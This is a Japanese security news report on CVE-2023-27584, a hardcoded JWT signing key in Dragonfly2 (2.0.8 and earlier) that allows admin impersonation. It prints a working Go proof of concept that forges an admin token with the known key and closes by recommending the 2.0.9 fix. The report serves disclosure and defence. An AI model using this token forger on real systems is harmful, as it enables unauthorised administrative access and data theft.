Dragonfly2 の脆弱性 CVE-2023-27584 が FIX:ハードコードされた暗号化キーによる Admin 侵害

Critical Dragonfly2 Flaw CVE-2023-27584: Hardcoded Key Threatens Admin Access

2024/09/22 SecurityOnline — Peer-to-Peer (P2P) をベースとするファイル配信システムを、オープンソースとして提供する Dragonfly2 に、深刻なセキュリティ脆弱性 CVE-2023-27584 (CVSS:9.8) が発見された。この脆弱性は、認証プロセスで使用される、ハードコードされた暗号化キーに起因するものであり、管理者権限での不正アクセスも許してしまうため、システムへの攻撃の可能性が生じる。

Cloud Native Computing Foundation(CNCF) がインキュベーション・レベルのプロジェクトとしてホストしている Dragonfly2 は、クラウドネイティブ・アーキテクチャにおけるファイル配信という、大きな課題に取り組むために設計されている。Dragonfly2 は、P2P ファイル共有を活用することで、クラウド環境におけるイメージの配布と展開を高速化するため、クラウド・ネイティブ技術を使用する開発者や組織にとって重要なツールになっている。

しかし、この脆弱性が発見されたことで、Dragonfly 2 2.0.8 以下のバージョンを使用しているシステムに、セキュリティ上の重大な懸念が生じている。

この脆弱性は、Dragonfly2 がユーザー ID を認証するために使用する、JSON Web Token (JWT) に存在する。通常において JWT は、トークンの真正性と完全性を確保するための秘密鍵に依存している。しかし、Dragonfly2 では、この鍵がソースコードに Secret Key としてハードコードされており、深刻なセキュリティ上の抜け穴が生じていることが判明した。それにより攻撃者は、既知の鍵を悪用して有効な JWT トークンの生成を達成し、認証措置を完全に回避することを可能にする。

この脆弱性の悪用は容易であり、以下の手順に従うことで、攻撃者による悪意の JWT トークンの生成が可能になる。

package main

import (
	"errors"
	"fmt"
	"time"

	"github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
	// Verify expiry.
	if stc.ExpiresAt <= time.Now().UTC().Unix() {
		vErr := new(jwt.ValidationError)
		vErr.Inner = errors.New("Token is expired")
		vErr.Errors |= jwt.ValidationErrorExpired
		return vErr
	}
	return nil
}

type DragonflyTokenClaims struct {
	Id        int32 `json:"id,omitempty"`
	ExpiresAt int64 `json:"exp,omitempty"`
	Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
	signingKey := "Secret Key"
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
		ExpiresAt: time.Now().Add(time.Hour).Unix(),
		Id:        1,
		Issue:     time.Now().Unix(),
	})
	signedToken, _ := token.SignedString([]byte(signingKey))
	fmt.Println(signedToken)
}

この、偽造された JWT トークンを悪用する攻撃者は、悪意のリクエストを送信することで、機密データやサービスに制限なくアクセスできるようになる。つまり、この攻撃者は、あらゆるユーザーに成りすますことが可能になり、その中に管理者レベルの権限を持つユーザーも含まれることになる。

すでに Dragonfly2 の開発者は、この脆弱性をバージョン 2.0.9 で修正している。すべてのユーザーおよび組織に推奨されるのは、迅速なアップデートである。